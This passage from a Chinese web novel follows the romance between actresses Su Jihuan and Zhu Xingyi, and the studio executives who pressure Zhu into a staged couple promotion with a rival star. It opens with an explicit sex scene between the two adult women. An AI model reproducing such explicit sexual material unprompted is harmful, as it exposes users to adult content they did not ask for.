不是坏狼和小狐，是善良温柔的狼和邪恶的坏狐狸才对。 “姐姐，我要。”慵懒缠绵的声音太过勾人，祝星亦带着柔柔的尾音说完后，轻轻撩起眼皮，漂亮的桃花眼直勾勾看着苏寄欢。 她抬起苏寄欢的手放到嘴边，然后咬住纤细的指尖轻轻舔舐。 温热的舌尖在指上扫着，苏寄欢的呼吸骤然一顿，心跳乱了频率。 明艳动人的脸庞不施粉黛，仍美得惊心动魄。小狐狸的呼吸和眼神像细小的蛇撕开她的衣服，往更深处钻去。 慢慢地，小狐狸吮吸着她的指，她欲要抚摸小狐脸，小狐狸忽然松了口。 指尖上留有晶莹剔透的水渍，小狐狸吻了吻她的手背，霜白的臂轻轻勾住她修长白皙的脖子，小狐狸长腿一跨，轻而易举压倒了她。 狐爪往下移，强烈的刺激从苏寄欢心底涌起。 调皮的狐爪乱摸乱动，让苏寄欢逐渐变得灼热。 苏寄欢舔了舔干涩的唇，一把搂住小狐狸的腰，把白软乖巧的狐狸压在身下。 她不由分说地吻上这只捣蛋的狐狸，指尖撩过一团团火，迫得狐狸无助地颤动。 乌云遮住明亮的眼眸，小狐狸也把她锢得紧紧的，“我想被大坏狼吃掉，我想被你吞到肚子里，想成为你的血液、骨头、细胞。我想成为你的一部分，我想永远黏着你。” 细小的汗珠渗到彼此的皮肤上，苏寄欢的眼中是吞噬小狐的欲望和光芒。 跳进海水向下沉去，小狐的哼鸣细细的，软软的，像在用尾巴扫苏寄欢的小腿，“姐姐，你快点吃掉我，让我成为你的养分，让我钻进你的骨头里、血液里，我要和你共存。” “好，好，我马上吃掉你，我的星星最美味了。”苏寄欢的面色逐渐潮红，像熟透的桃尖，轻轻一戳就有浓郁的汁水爆出。 软又烫的身子现在也湿漉漉的，她轻喘着气和小狐狸交缠着吐息，清冽冽的五官贪婪地在影子里回荡，感知越来越薄，越来越深。 海水涌起，两颗洁白的珍珠随着阵阵海浪起舞。 起伏的潮水拍打着浪，咸湿的缠绵是一阵失重的虚幻感。 海底像燃了火，烧尽了所有的珊瑚礁石。 无休无止的火燎着，呼吸也被放弃。 “姐姐，如果我是你的影子就好了，这样我就会永远跟着你，永远永远，永永远远。”祝星亦半睁着眼，嗓音被细碎的吟叫碾得只剩一点点响儿，“姐姐，你走到哪儿，我就出现在哪儿。” 唇吻轻颤，海的蓝和火的红交融。 浓重的爱烫红了苏寄欢的眼尾。 她不知道要给身下的小狐狸多少东西才能好好表达自己对她的疼爱。 躯体覆在一起，葳蕤的枝桠攀爬出来，缠绕住她们的双手。 她用鼻尖蹭小狐狸酡红的脸颊，温柔地在小狐狸耳畔呢喃：“我不要你做我的影子，我要你做我的骄傲。你是我珍贵的珠宝，你是我耀眼的金子。” 冷峻的脸上蒸腾起一片白气，苏寄欢的舌尖刮蹭祝星亦落泪的眼角。 她像只漂亮的大猫舔舐着融化在她怀里的狐狸，轻声说：“我希望我的星星永远闪亮，全世界的人都应该看到我的小狐狸。” “我的小狐狸，我的星星。”她厮磨着祝星亦的唇，声音含糊不清，“我爱你，我漂亮的乖宝宝，我的骄傲。” 祝星亦半睁着眼看身上的苏寄欢，苏寄欢的声音愈发动情。 急促的喘息不太清明，苏寄欢早已被打湿，声音发颤，细密的汗珠顺着身体的轮廓滑动。 难以压抑的潮意令她闭上双目，颤动的双睫像易碎的蝴蝶扇动翅膀。 她湿漉漉的发垂在胸前，白皙的皮肤像牛奶般美味，清冷又锋利的五官下面是细腻的温柔，明明临近破碎却咬着牙继续坚持的模样好美，好美。 身子像渡了层金光，朦胧又华丽，易碎又透明。 祝星亦看着这样的苏寄欢，不断地赞叹，美丽的姐姐，动人的姐姐。 像雷雨交加的夜，像倒灌的海水，像夏天冷寂的山谷。 她为她斑驳，为她起落，为她撑伞，为她张开羽翼。 她被她在乎，被她呵护，被她珍惜，被她疼爱。 她的姐姐，她美丽的老师，她温柔的爱人，她的苏寄欢。 “姐姐，姐姐……呜……”祝星亦紧紧抱住苏寄欢的腰身，亲吻她的脖颈。 细密的吻从脖颈到肩头，从肩头到手臂，从手臂到胸前，“姐姐，我喜欢姐姐……喜欢姐姐……” 到了临界点。 苏寄欢抬起朦胧的眼，身子逐渐溺亡。 随后海水翻涌。 她仰起头颅。 破碎的声音动听无比。 汗如雨下。 失重的感觉持续很久，苏寄欢伏在祝星亦身上喘气。 摸了摸，祝星亦很惊喜，“姐姐好棒，又是这么多。” 吮了下指，夸赞：“姐姐的味道好好，好喜欢。” “床单又被我弄脏了。”苏寄欢喘着粗气拥紧怀里的狐狸，“等下我换掉。” “姐姐好棒，每次都比我多呢。”祝星亦勾着苏寄欢的腰不断地亲吻，“好喜欢姐姐，呜，喜欢姐姐的味道，好喜欢。” 她不断地吻着苏寄欢的肌肤，怎么也吻不够。 她好喜欢这样的苏寄欢，好美，好诱人，好动人。 双肢盘着腰，身子还黏腻得不得了，但她顾不了那么多，难以自拔地在苏寄欢身上留下口水。 “好了好了。”苏寄欢被小狐狸亲得动弹不得，“我们洗一洗，收拾下，等下要出门。” “不要不要，我要继续。”祝星亦按住她的手，生怕她动一下，“姐姐你再来一次，我还要看姐姐快乐的样子。” 柔软的吻接连不断地落在苏寄欢身上，苏寄欢整个人也被祝星亦盘着。 试着动一下，失败了。 祝星亦瘪着嘴蹭了蹭她，“我不要出门，我要继续，我要继续看你。” 狐狸爪子又开始不安分，甚至有点莽撞地戳来戳去。 苏寄欢一脸宠溺，她按着她的手，声音轻又软，“好，好，我们继续。” /// 徐佳悦到达沧城后没直接联系苏寄欢，李琬定的酒店离沧海民宿太远，时间又不早了，一来一回浪费时间，索性等次日再约见。 沧城旅游业做得不错，但《外乡人》的取景点都是一些极为小众的地点。本次纪录片拍摄也是要多拍摄这些小众地点，以来配合电影宣传。 酒店一公里外是出名的网红步行街，徐佳悦向来觉得这种步行街不值得逛，但每次都要把这些地点拿出去推销，仿佛凑数似的。 除了步行街还要再加上xx古城，xx路，全都是无聊的雷同。 “徐姐，收拾好了吗？”李琬过来催促。 徐佳悦提上靴子说好了，到达步行街后，浅咖色的长筒靴总是往下掉，她时不时停下脚步狼狈地往上提。 真是美丽废物。 身为ilmeth影视运营部总监，徐佳悦根本没必要出来跟拍，年假还没休完不说，之前累计的加班时间再不休就浪费了，偏偏关总喊她出来一趟。 她也是佩服关总的口才，三两下就说服了她。出了关总的办公室，她马上打包行李，火速带着助理飞来沧城。 长达四个月的跟拍换一个月的带薪休假，徐佳悦觉得很划算。 不要白不要嘛。 ilmeth纵有千万般不好，但面对员工福利，怎么都说不出一个不字。 李琬推送了杨雯的名片过来，徐佳悦看了眼杨雯的头像，不是特别想加这个女人。 杨雯所在的部门，说到底就是个可有可无的部门。早就听说公司要把这个部门砍了，毕竟纪录片而已，拍电影时不就顺便拍了？ 况且这个部门不赚钱，只是跟着剧组给艺人拍点镜头而已。其他的纪录片部门好歹有钱可赚呢。 话说这个部门在年终考核时会及格吗？徐佳悦担心这个部门撑不了多久。 不过说到底也是在一个公司工作的同事，徐佳悦动动手指加了杨雯。 刚加上，杨雯发来一串消息。 徐佳悦皱着眉头翻阅。 脚本、地点汇总、沧城旅游攻略。 徐佳悦一点都不想回这些消息。 她只是过来等候和剧组汇合而已，她又不是负责拍摄纪录片的，干嘛把这些资料发给她？ 在职场里，看了资料接触了资料就等于要干活了！ 徐佳悦正想着装没看见，前方出现不小的骚动。 李琬从前面探探风声，折回来说：“好像是有人偷拍，不过被单方面碾压了。” “偷拍？这么可恶？”徐佳悦立马跟着李琬过去看。 只见纤瘦却很有力量感的女人风风火火冲到人群中，伸手抓出一个戴帽子的男人，照着男人的手机来一拳。 随后女人单手拖着男人来到空地，并冲男人膝盖来一脚。 女人戴着棒球帽和口罩，整个人细长一条，腿长胳膊长，身材比例特别好。她身穿无袖露脐上衣、牛仔短裤，双腿修长白皙，肌肉线条流畅。 徐佳悦正瞅着，那女人又冲男人来一脚，随后转身打掉旁边两个女人的手机。 这还不够，女人一个利落转身快步走到另一个方向，拽过一个男人的包打男人的脸。 徐佳悦的视线跟着女人移动，直到另一个身影匆匆跑到视线里，她才收起看客的脸。 “苏寄欢？”李琬捂着嘴巴跟徐佳悦说，“是她吧？好像真的是她。” 徐佳悦眯着眼看了看，立马快步走过去。 等到了跟前儿徐佳悦才知道不是什么偷拍，被揍的人都是私生饭。 这群私生饭偷偷摸摸跟了几天了，前几天还敲苏寄欢屋子的门。 今天被祝星亦撞到有人躲墙角拍她，她才教训这些人。 “拍拍拍，怎么不拍你爹的果照。”祝星亦猛地夺过一个私生饭的手机，厉声呵斥：“删掉！全删掉！” 那个私生饭只能老老实实删照片。 其他几个被教训的私生饭也一一去删照片。 “最近删除也全清空，快点！”祝星亦只是简简单单吼了一句，那群人慌慌张张去一键清空最近删除。 删完之后，祝星亦骂骂咧咧一会儿，才把那些私生饭放走。 祝星亦终于松了口气。 “徐小姐？”正安抚着祝星亦情绪的苏寄欢发现了徐佳悦，赶忙过来搭话。 徐佳悦觉得自己来得不是时候，收起好奇心说：“你好，苏小姐。” 苏寄欢跟祝星亦介绍：“星星，这是ilmeth的影视运营总监，徐佳悦徐小姐。” “你好，徐小姐。”祝星亦抿着唇伸出手。 看着祝星亦礼貌的模样，和刚刚要把私生饭撕了的模样天差地别。徐佳悦握上祝星亦的手，和蔼一笑。 苏寄欢还不知道徐佳悦来这里干什么，难不成只是在这里玩？徐佳悦想着反正碰到了，赶忙说：“关总让我来跟组，顺便让我策划一下cp运营的事。” 苏寄欢攥着拳头，脸上仍旧保持微笑，“cp运营是指……” 徐佳悦看看祝星亦，笑说：“当然是晏小姐和祝小姐的了，在剧组杀青前，希望祝小姐能完美配合晏小姐炒cp。” 第99章 有你在真好 包间，徐佳悦详细跟两人讲了讲运营cp的事。 李琬称配合运营，适当时机需要配合炒cp是写在合同里的。当然这只是营销的其中一部分，这部影片最终还是要从质量上下手。 不过卖cp比其他营销来得要更快些，也更好从这个点切入。影片里安宁和费琳会有信任、猜忌、互相伤害，这个磕点也很吸引人。 脱离角色，晏瑾年和祝星亦二人也有很多磕点。 一个是颇有名气的影后，一个是明艳爱豆出身的新人演员。单单两个人的人设放在那里，怎么说都会吸很多cp粉。 而且也很容易制造话题，比如写影后提携新人演员，影后深夜和新人演员对戏，影后时刻关心照顾新人演员，影后耐心教导新人演员。 “晏小姐那边对卖cp也很感兴趣，我相信她一定会非常配合这次的运营。”说起晏瑾年，徐佳悦也很惊讶她竟然会很愉快地同意卖cp。 要知道晏瑾年这人傲气到不行，差遣她卖cp更是想都别想，这人拍戏的时候擅作主张改剧本，改得乱七八糟，别人还说不得。 真要是改剧本就应该像苏寄欢那样，人家有改剧本的功底，有前瞻，有对整部影视的把控。 偏偏晏瑾年啥都没有还自信得不行。 戏外这女人更是鼻孔朝天，仗着身后有晏氏集团胡作非为。什么本子都要，什么角色都要演，外界看她是不停往剧组赶、敬业，实际上她轧戏还对工作人员和对戏艺人态度极其恶劣。 可是圈内人谁敢说她呢？位高身重，身后是晏氏集团，又有众多奖项傍身，旁人即便不喜欢她也要捧着她。 之前这女人给《外乡人》投5000万，徐佳悦知道后气愤不已。 这晏瑾年当自己是谁啊？拿5000万买了两个角色，还一副主人的模样给ilmeth提要求。 不儿，ilmeth差她那5000万吗？林总差她这个腕儿吗？ 林总本要营销这两个角色的含金量，想着众多影后竞争的角色营销出去那不得收获众人的[哇塞］。 5000万一出，这个角色直接降了不知道多少个leave。 林总想一口回绝，可晏瑾年这女人提前联系了几个品牌方，如果林总不答应，那这几个品牌方也打水漂。 呵呵，居然敢威胁林总。 但为了那些资源，林总选择忍耐。 那天饭局之后，林总回ilmeth总部大楼，气得把发财树都薅秃了。 随后林总想到了本要试镜的苏寄欢，恰好苏寄欢也正好主动联系她。 得知苏寄欢的来意之后，林总二话不说高薪诚聘她担任《外乡人》的监制。 没别的，林总就是要给晏瑾年找不痛快。居然敢拿捏她，等晏珂死了她不打爆这晏氏两姐妹。 徐佳悦希望祝星亦放心晏瑾年那边的事，并对祝星亦的配合充满希望：“她带你出演这部影片，想必你们二人关系非比寻常，另外你和苏小姐的cp很火，你们的营销效果很不错，我想你肯定也是非常会配合炒作的艺人。” 祝星亦和苏寄欢的cp堪称火爆全网，这完全要归功于达尼的运营和两位正主的配合。 网友们都称这两人简直是内娱最体面的cp了，不会刻意避嫌，也不会因为剧播完就火速切割。 虽然这两家的粉丝打架最猛，cp粉和唯粉掐架更是不得了，可正主的平和实在难能可贵。 祝星亦很配合营销，不作妖，不拉高踩低。苏寄欢就不用说了，业界良心，谁跟她合作都会夸赞她。全身心投入创作之中，工作人员也都会给予很高的评价。 徐佳悦其实没想到苏寄欢能和祝星亦卖cp，毕竟人人都知道苏寄欢性子冷淡，不爱搞这些虚头巴脑的东西。 cp大火之后徐佳悦也分析了一下这对cp能火的原因，她觉得最重要的就是在苏寄欢身上。 从未卖过cp的高岭之花和明艳爱豆组cp，还十分体面十分配合，这也太新鲜了。再看看那些磕点十足的视频和图片，很难让人脱身。 和晏瑾年炒cp……祝星亦想都不想直接开口拒绝：“不好意思，我可以配合其他炒作，但是和晏瑾年炒cp的话，我觉得应该先……” 身旁的苏寄欢忽然握紧她的手。 她示意她不要说了。 祝星亦怔然，什么意思？苏寄欢希望她和晏瑾年炒cp吗？ 她偏过头看苏寄欢些许淡漠的侧颜，久久的沉默中，她读不懂苏寄欢眼中的语言。 徐佳悦看祝星亦没有直接同意，嘴角的笑意霎时没了，眉目间压着灰沉沉的颜色。 没有直接点头说同意，那就代表犹豫。 犹豫徘徊不定，代表有极大的可能想要拒绝。 当然，犹豫也代表着出于对ilmeth的不信任。 同时，犹豫中包含的拒绝成分更是不把ilmeth放在眼里。 怎么？晏瑾年都不敢说一个不字，祝星亦这个咖位的人也敢说不了？ 徐佳悦的神色骤然变冷。 居然有人敢犹豫ilmeth的要求？ 李琬在一旁替徐佳悦开口，声音是前所未有的冷淡和压迫感：“祝小姐，合同里写过你这边要配合我们运营部的炒作，而且炒cp也不是什么不合理的要求。你能配合达尼炒，为什么不能配合我们ilmeth炒？是觉得ilmeth无法像达尼给你提供热度吗？” “达尼去年营收排第几？”徐佳悦百无聊赖地敲敲桌面。 李琬快速敲字查看，瞄了眼数据道：“综合营收排名第五，我们幕视依旧霸榜第一。” 徐佳悦漫不经心瞄了祝星亦一眼，微皱的眉心透着一丝凌厉。 祝星亦正要解释什么，苏寄欢仍旧握紧了她的手示意她不要说话。 苏寄欢笑着帮忙解释：“不好意思，星星她可能没有表达清楚她的想法，她是想要……” 她的话被生硬地截断。 徐佳悦轻挑起眉头，嘴角挂着分辨不出情绪的笑，“先不说配不配合炒cp，祝小姐，我们有更心仪的艺人饰演安宁，若不是外界因素，你根本无法获得这个角色。我想，如果你能够摆正自己的位置的话，我们的合作也许会很愉快。” 摆正……位置…… 听到这里，祝星亦颤着眼睫，她忽然有些无助。 强烈的落差和无力冲斥着她的心。 身为一个无法掌握权力和话语权的小艺人，在这些人面前根本说不上话。 哪怕开口都难。 “我说话难听，但我想既然你都赢得这个角色了，就应该有承担这个角色的心脏。”徐佳悦身子往后仰了仰，半阖的眼冷冷瞥向祝星亦，声音不近人情：“简单来说，合同之内的事你必须配合，至于合同之外……祝小姐，晏小姐这个咖位愿意和你卖cp，你出口拒绝是否有些耍大牌？” “如果您不配合的话，我们会向上面反馈一下您拒绝合作的问题。”李琬很显然也没什么耐心，“我想，如果是我们自己选的角色，应该会很配合炒cp，而不是在我们合理商讨中展现强烈的抗拒情绪。” 包间短暂地安静了。 压抑的气氛里，心跳都是一场地震。 一字一句都令人无法反驳。 祝星亦这个时候才明白当初苏寄欢说的那句[ilmeth的人不好搞］是什么意思。 强硬、傲慢，单纯视艺人为商品，不给艺人任何自我辩解的机会。 不过之于这些人，艺人……确实只能是商品。 无论谁家的艺人，无论有什么样的背景，在她们眼里也只是贴了价格标签的商品。 她们的任务是为了让商品卖个好价钱，至于怎么卖出去的，她们并不管。 过分沉默的环境里，苏寄欢紧紧抓住祝星亦的手开口：“炒cp这种事情，不能仅仅因为合同有要求就强迫艺人去做。炒出一个好磕的cp，说到底也是一个循序渐进的过程。强行去炒cp呈现出来的效果未必好，还可能会引起观众的反感，这对影片的营销又有什么好处？” 过分沉静的声音，让惴惴不安的心忽然有了落脚点。 祝星亦咬着牙，捏紧了苏寄欢的手。 徐佳悦冷笑一声，双臂交叉抱在胸前，“我们做营销的，靠的就是热度和流量。晏小姐是什么咖位，她愿意和祝小姐炒cp，祝小姐却轻易拒绝。安宁这个角色本来就是晏小姐给她的，她还如此不配合，这是不是有点过分了？而且，我们ilmeth才是甲方，understand？” 苏寄欢没有被徐佳悦的话激怒，她平静地回应道：“咖位不应该成为本次商谈的纠结点，晏瑾年愿意配合是她的选择，但不能因为她的咖位高就要求星星必须接受。我和星星炒cp也是基于良好的沟通以及对彼此的尊重，[月星百万］能火是我们有情感基础，而非一纸合同带来的。” “至于晏瑾年给她带来了安宁这个角色……”苏寄欢沉吟片刻，又道：“我想，晏瑾年也只是看在我和星星的cp热度才选星星的。星星现在是当红小花，热度居高不下，关注度极高，她选星星又想和星星炒cp，估计是想复刻我和星星的cp热度。毕竟《辞旧赋》输给我和星星的cp，她一直耿耿于怀。” 徐佳悦隆起眉心。 苏寄欢这么说，确实有点道理。 《辞旧赋》没打赢《寄明月》，口碑、热度和奖项全都输得底朝天。[月星百万］的热度全网有目共睹，晏瑾年从未炒过cp，加之全方位输给靠cp炒起来的《寄明月》…… 看来晏瑾年也是想吃一口cp红利才这么爽快答应，徐佳悦凌厉的脸缓了缓。 见徐佳悦若有所思，苏寄欢轻笑一声说：“我理解你们运营方的立场，这样吧，我们各退一步，星星可以配合炒cp，但不是现在，也不是拍摄时的哪个时刻。晏瑾年对卖cp并不熟悉，你们应该也怕她用力过猛，我作为和星星卖过cp的人，更明白cp的磕点和与星星相处的模式。” 徐佳悦越听越不对劲，这是什么意思？ 苏寄欢继续说：“我暂时带着星星和晏瑾年商议这个问题，你们的运营计划正常进行就好。而且你们也跟组，有问题随时提出来，方便解决。” 李琬狐疑道：“抱歉，容我打断一下。苏小姐，请正视一下我们的需求和您在本剧组担任的角色，您并不负责监制和演技指导之外的工作，我想商议的事情我们来就好，眼下我们只想确认祝小姐愿不愿意配合卖cp。” 苏寄欢捏捏祝星亦的手，沉静道：“既然都签了合同，她肯定会全力配合卖cp，不会为难你们。但合同是死的，人是活的，一对cp能火，重要的还是在于人，还有营造的氛围感。把控不了这个度，只会适得其反。” 徐佳悦听着苏寄欢的话若有所思，李琬正要反驳什么，被徐佳悦抬手示意停下。 见状，苏寄欢嘴角翘起一个不易察觉的弧度，继续说：“我既然是这部影片的监制，关注影片之外的事也是对影片负责。所以我希望我可以参与她们的cp炒作，我会提出一些建设性意见，也会根据我已有的炒cp经验做出相应的优化。” 徐佳悦沉吟片刻，神色轻缓了不少。苏寄欢既然愿意给这次cp炒作做出贡献，也算是给她减少了一些工作烦恼。 毕竟她确实不够了解祝星亦，苏寄欢和祝星亦卖过cp，又很难把控炒cp的度，否则[月星百万］不会那么成功。 林总一直想给ilmeth的自家艺人复刻出[月星百万］这么火的cp，但一直没什么成效。和达尼学习了后发现，炒cp时，运营是一部分，但重要的还是在于人。 人不行，怎么卖都难吃。 “苏小姐的意见很好，您愿意参与到运营里面也是好事一桩。”徐佳悦的意思已经很明显，李琬便不再多说什么。 “她们的炒作效果就是你们需要考虑的问题。”苏寄欢率先把转化率的问题抛到徐佳悦身上，“我这边会好好配合，星星也会好好配合，晏瑾年那边我会多与她交流，希望她们的cp能够给电影带来不错的流量。” 苏寄欢优雅地伸出右手，“期待。” 人行的话，做什么事都很顺。 徐佳悦在心里呼出一口气，她没怎么和苏寄欢接触过，只从别人的耳中听过对苏寄欢的评价。 今日的接触，徐佳悦十分满意。 苏寄欢是个很好的合作对象，耐心又负责，和她共事真的能够减少很多烦恼。 “期待。”徐佳悦握上苏寄欢的手。 愉快的晚餐后，徐佳悦和李琬往酒店赶。 李琬问徐佳悦怎么同意苏寄欢掺和一脚，徐佳悦摇摇头叹道：“你有所不知，我这一次来岂只是为了晏祝二人炒cp的事。” 嗅到其他味道，李琬竖起耳朵。 “我来这里之前，关总特意交代我一件事，*她要我把晏祝二人的cp运营放一放，目光尽量聚焦在苏晏身上。”徐佳悦揉了揉眉心，“你以为我们只想拿炒cp这个看点吗？苏晏两位影后在片场扯头花那不得好看死？两大影后起争执，撕来撕去，谁还要看什么cp？” 红灯路口停车，李琬拍了下方向盘担忧道：“什么？？我还以为真的只有炒cp的任务，我说你怎么愁眉苦脸的。” “本来想引苏寄欢不满，毕竟她和祝星亦的cp火，公然谈晏祝二人cp运营，怎么都能激一激她，怎么她那么淡定啊……”徐佳悦现在也不知道怎么进行下一步。 当苏寄欢说出愿意对炒cp进行指导时，后面的路就全被堵住了。 李琬拧眉问：“那你为什么还同意她来指导呢？” 徐佳悦耸耸肩道：“我总不能放着能用的人不用吧？” “那扯头花的事怎么办？看苏寄欢的态度……她一点都不像能和别人扯头花的样子啊。”李琬想到今天和苏寄欢的会面，不禁有点怀念，“她好贵气，好优雅，脾气也很好，有点过于完美了呢。” 徐佳悦望着车水马龙的街道，幽幽道：“她淡定，但晏瑾年不一定淡定，我不信晏瑾年不会搞事。晏瑾年不搞的话，我们帮忙搞，这个头花必须扯起来，这部电影必须看点足！” // 目送那两人离开后，回到民宿，祝星亦坐在客厅心有余悸。 苏寄欢抓着她的手腕轻轻抚摸她的脊背，试图让她放松些。 “ilmeth的人性格一贯如此，我以前和她们合作也很头疼。”苏寄欢起身倒了杯水放在祝星亦手里，“这也是我不放心你一个人来拍她们电影的缘故，配合炒cp只是其中一件事，后续她们会有更多需要你完成和配合的事。她们对艺人很不客气，你应付不了她们。” 祝星亦听出了苏寄欢的无奈，忙关心道：“苏老师，哪怕是你，也会对她们头疼吗？” 苏寄欢点点头。 岂止是她，哪怕是晏瑾年，也没有直接拒绝ilmeth不合理要求的资格。 不止ilmeth，只要和根系过于大的资方合作，艺人就会失去话语权。在那些合作对象面前，艺人只是一个卑微的乙方。 “不过你别怕，有我在，我会一直跟着你，谈合作的事我会给你留意着。”苏寄欢怕她过于紧张，赶忙多说些话让她放松些，“而且不是所有人都是那个样子，杨雯态度不是挺好的吗？” 祝星亦放松了些，但想到炒cp的事，她无论如何都无法平静下来。 “苏老师，我和晏瑾年炒cp的事……”祝星亦拧紧眉毛，“你不介意吗？我很介意，所以我当时第一反应就是想拒绝。” “我很介意，我当然很介意你们炒cp。”苏寄欢平视她，认认真真望着她的眼睛，“但是星星，ilmeth最讨厌艺人拒绝她们，艺人之于她们只是普通乙方，做乙方的直接拒绝甲方的需求，会惹麻烦的。” 苏寄欢揉揉她的头继续说：“你必须把这部电影演完，也必须让ilmeth满意，千万不要在她们面前出错。如果你表现得好，她们会扶你一把。” “会……扶我？” 苏寄欢点点头，“对，她们会给你带来空前的热度，是你想象不到的热度。” 可是祝星亦一想到今天那两个女人可怕的模样，心里直打鼓。 她对自己有很清晰的定位，她明白ilmeth那群人本来就不满意她，当然，那群人更不满意晏瑾年。 但晏瑾年的身份摆在那里，而她自己很明显够不上ilmeth的尊重。 苏寄欢知道祝星亦怕，今天用餐时，面对徐佳悦和李琬两人时，她能明显感受到祝星亦的紧张和无措。 她把祝星亦抱在怀里柔声安抚：“没事，有我在，万事放心。炒cp也好，配合运营也罢，我都会尽全力让你舒适些，不会让你感到为难。我来应付晏瑾年，你专心拍戏就好。” 简简单单的几句话，祝星亦听了心里立马涌出暖意。 她仰头望向苏寄欢的眼眸，浅褐色的眸子里藏着无尽的温柔与坚定。 祝星亦鼻子一酸差点落下泪来，她强忍着情绪轻轻点了点头，声音略带哽咽：“苏老师，还好有你在。要是没有你，我真的不知道怎么应付她们。ilmeth真的很吓人，好高傲好无情。” 苏寄欢吻着她的头发喃喃：“星星别怕，我一直在呢。我们这次一定可以再打个胜仗。” “嗯！”祝星亦重重地点头。 // 纪录片拍摄的日子很快便过去了，祝星亦起初还担心配合不好，但有苏寄欢帮忙梳理以及共同出镜，完成得非常好。 杨雯一直在赞叹两人的表现力，心想这次纪录片拍得不错，下一趟江城之旅会更加顺畅。 等到了开机仪式那天，杨雯特意准备了小礼物给两人。 “真的非常感谢二位的配合，和你们合作很开心。我们这边先去准备江城的拍摄任务，届时我会跟你们做好沟通。”杨雯把小礼物递给二人的助理。 苏寄欢颔首，“客气了，这是我们应该做的。” 跟苏寄欢合作是真省心啊，杨雯笑眼弯弯。 “晏小姐。”赵瑞茜跟刚到的晏瑾年打招呼。 苏寄欢看过去。 晏瑾年戴着墨镜踩着高跟鞋走去，轻轻抬手和赵瑞茜握了下手，“赵导，不好意思，家里最近一直有事耽误。” 她侧过头瞄了眼苏寄欢，继续和赵瑞茜说：“不想耽误你们的拍摄进度，所以我打算先去江城拍我的戏份，等星星的沧城戏份拍摄完，我们再去江城汇合。” 赵瑞茜这才满意了些。 这晏瑾年这么听话，恐怕是被关总那边要求的。 不过赵瑞茜想，这晏瑾年更大可能是不想被苏寄欢管太多。毕竟苏寄欢到时候会在现场做出很多指导，晏瑾年先把江城单独的戏拍完，就会减少一些压力。 这俩人不对付，苏寄欢又做了监制，指不定会折磨晏瑾年呢。 想着，苏寄欢带祝星亦走过来。 寒暄几句，赵瑞茜怕多生事端，带着三人去拜四方。 开机仪式很顺利，结束后徐佳悦听闻晏瑾年来了开机仪式现场，便约三人去咖啡店。 详谈炒cp后，晏瑾年瞪着苏寄欢一脸难色。 她和祝星亦炒cp，居然要被苏寄欢指导？ “就这些了，晏小姐，我希望你能配合炒cp，也希望你能配合苏小姐的监督指导。”徐佳悦说得很明白，也不给晏瑾年拒绝的机会。 徐佳悦离开后，晏瑾年捏紧拳头，面上风轻云淡：“既然有苏小姐指导的话，那我也放心了，希望我和星星的cp，能超过二位的[月星百万］。” “小火靠捧，大火靠命。”苏寄欢慵懒地倚着，修长白皙的指敲着桌面，“我命好，晏小姐有个好命的话，自然也能有这个效果。” “苏小姐命好？”晏瑾年听到苏寄欢的话简直要笑掉大牙，“苏小姐一路走来那么坎坷，也叫命好吗？” 晏瑾年喝了口冰美式，笑得一脸挑衅：“你的命，不是很像这杯美式吗？是苦是甜，只有你自己知晓。” 祝星亦听到晏瑾年说完，眼中的怒火喷涌出来。 苏寄欢命苦？ 苏寄欢的苦是谁带来的？ 苏寄欢一路走来那么不容易是谁造成的？ 晏瑾年公然说出这些，摆明了是来讽刺苏寄欢。 祝星亦看着晏瑾年嘲讽不屑的眼神，再也忍不住。 然而她还未出口回击，苏寄欢按住了她的手。 第100章 喂饱你 苏寄欢盯着晏瑾年，缓声开口：“美式初尝是苦，可回甘悠长，我的路走得不顺，但基石很稳。不像有些人，看似一帆风顺，实则内里空洞无物。” 年龄上，晏瑾年长苏寄欢三岁，但在演艺道路上，和苏寄欢相比，晏瑾年算是[后辈］。 她的演艺经验没有苏寄欢丰富，相比起来甚至有些不足。但这些无伤大雅的小毛病在她面前算不了什么，也就偶尔被苏寄欢恶心一下。 晏瑾年脸色微变，转瞬便恢复如常，她端起咖啡轻抿一口挑眉轻笑：“基石很稳？依我看，这基石大概是歪七扭八，垒得毫无章法，不然也不至于靠炒cp博眼球，带坏了风气。” 苏寄欢听后笑而不语。 看来晏瑾年对《辞旧赋》扑街一事耿耿于怀，始终忘不了输得一塌糊涂的惨状。热度输给《寄明月》，奖项也输了，想破脑袋才拉下面子去和祝星亦组cp。 苏寄欢不知道别人，但对晏瑾年这人了解得很。这人眼睛长在头顶上，谁都看不起，情感也廉价得很。 说是喜欢祝星亦，其实只是贪恋祝星亦年轻貌美的身子，越是得不得越想要。 苏寄欢懒得多看这女人，想着快点结束无趣的谈话。 她身子前倾，双手交叉置于桌上，目光紧锁住晏瑾年：“你也不用在我这里逞口舌之快，炒cp也好还是后续的拍摄也好，我都希望你好好配合。抛开我们以前的交情，现在我们只是合作对象，你能听明白吗？” “话是这样说，但我对你没有什么信心，如果你无法毫无保留，我也未必会尊重你。”晏瑾年回击。 苏寄欢挑起一侧眉，声音轻缓：“尊重是相互的，看你表现。” 晏瑾年脸上青一阵白一阵，很快手机响起，她起身瞪了苏寄欢一眼，拿着电话离开。 “别理她，也别被她影响。”回民宿后苏寄欢赶忙给祝星亦疏解情绪。 祝星亦想要说什么，直接被苏寄欢按住了唇。 苏寄欢拍拍她，轻声说：“明天开始拍第一场戏，从现在开始，你不要管其他事，专心演戏就好。你不要被任何人任何情绪打扰，尤其是晏瑾年相关，知道吗？” 晏瑾年说的那番话让祝星亦很窝火，可苏寄欢这样说，她便不好多说什么，“知道了。” 苏寄欢点点头，“好，晚七点我们开始讲江城要拍的戏，这几天我会慢慢把费琳的台词背下来，你也慢慢背安宁的台词，难背的就找我，我给你梳理。” “好。” 苏寄欢和祝星亦在一起后，两个人便搬到一起住。祝星亦的屋子变成了二人的[工作室］，客厅里空荡荡的，两人在那里对台词对戏。 苏寄欢会背下安宁和费琳的台词，也会背下其他角色的台词。 在只有两个人的客厅里对戏，阳光是暖的，风也是暖的。 祝星亦说不上来下一句，苏寄欢会提醒她。有时她会突然说一句台词，苏寄欢会下意识接住。 太可怕了。祝星亦惊叹苏寄欢竟然卷成这种地步。 “我背得多，就可以随时和你对戏，让你少点负担。”苏寄欢坐在地上看台词，她推了下眼镜拍拍祝星亦，“来，继续，少说闲话。” 祝星亦剧本一撂，半躺在苏寄欢腿上，“那我说的闲话多，苏老师会打我手心吗？” 苏寄欢把她扶起来，笑着说：“不会打你手心，但晚上就不让你吃了。” 祝星亦马上起身专心背台词。 // 祝星亦在沧城的戏份多是一些日常生活的拍摄。 